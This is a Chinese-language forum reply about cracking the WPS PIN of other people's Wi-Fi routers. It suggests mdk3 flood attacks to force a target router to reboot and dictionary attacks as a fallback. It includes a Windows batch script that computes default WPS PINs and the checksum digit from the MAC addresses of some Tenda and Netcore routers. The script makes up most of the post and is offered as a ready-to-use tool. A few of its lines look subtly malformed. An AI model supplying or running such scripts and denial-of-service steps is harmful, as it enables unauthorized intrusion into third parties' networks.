这个多半是人家路由器安全性能高,防PIN才会这样,要看运气了,你也可以换个时间段试试,或者攻击人家路由器让人家重启路由器试试(用mdk3做洪水攻击),如果还是PIN不动就只能跑字典了。楼上推测你的PIN码,只对于一些老路由器有效,新出的都没用了。这些老款路由器也只是针对腾达MAC地址前6位是C83A35或者00B00C及磊科的部分产品(实际上是后6位转换成十进制),我试了很多都没用了。至于楼上说的第8位校验码不需要一个个试,可以计算的,第八位=30-3x(第1位+第3位+第5位+第7位)-(第2位+第4位+第6位)
关于腾达MAC地址前6位是C83A35或者00B00C及磊科的部分产品PIN计算和PIN校验码计算,写了下面脚本,保存成.bat格式文件运行。
@echo off
title PIN码计算器[Z-Y-J]
mode con: cols=50 lines=15
color 27
:main
cls
echo -------------------------------------------------
echo 此计算器只对腾达MAC地址前6位是C83A35或者00B00C及磊科的部分产品有效。提示:输入PIN+7位PIN码可计算出校验码(pin1234567)
echo -------------------------------------------------
echo.
set "mac="
set/p mac= 请输入AP的MAC地址后6位:
::判断输入是否合法
if not defined mac goto main
set "mac=%mac: =%"
if not defined mac goto main
::如果输入以PIN开头则直接调用checkcode模块计算校验码
set "tmp="
set "tmp=%mac:~0,3%"
if /i "%tmp%" equ "pin" (
set "mac=%mac:~3,7%" goto checkcode)
set "mac=%mac:~-6%"
set "tmp="
set "tmp=%mac:~5,1%"
if not defined tmp (
echo MAC地址长度不正确! call :timeout goto main)
::将16进制转换成10进制
set/a mac=0x%mac% 2>nul || (
echo MAC格式不正确! call :timeout goto main)
set "mac=%mac:~0,7%"
set "tmp="
set "tmp=%mac:~6,1%"
if not defined? tmp set "mac=0%mac%"
::计算校验码
:checkcode
if not defined mac (
echo PIN前7位输入有误! call :timeout goto main)
::定义变量mac的第1位到第7位分别为n1,n2...n7
set "n1=%mac:~0,1%"
set "n2=%mac:~1,1%"
set "n3=%mac:~2,1%"
set "n4=%mac:~3,1%"
set "n5=%mac:~4,1%"
set "n6=%mac:~5,1%"
set "n7=%mac:~6,1%"
set/a n8=30-3*(%n1%+%n3%+%n5%+%n7%)-(%n2%+%n4%+%n6%) 2>nul || (
echo PIN前7位输入有误! call :timeout goto main)
set "tmp="
set "tmp=%n8:~-1%"
if %n8% geq 0 (
set/a n8=%tmp%) else (
set/a n8=10-%tmp%)
set "pin=%mac%%n8%"
echo.
echo PIN码为:%pin%
echo.&echo.&echo.&echo.
echo 按任意键继续!
pause >nul
goto main
:timeout
ping -n 3 127.0.1>nul
goto :eof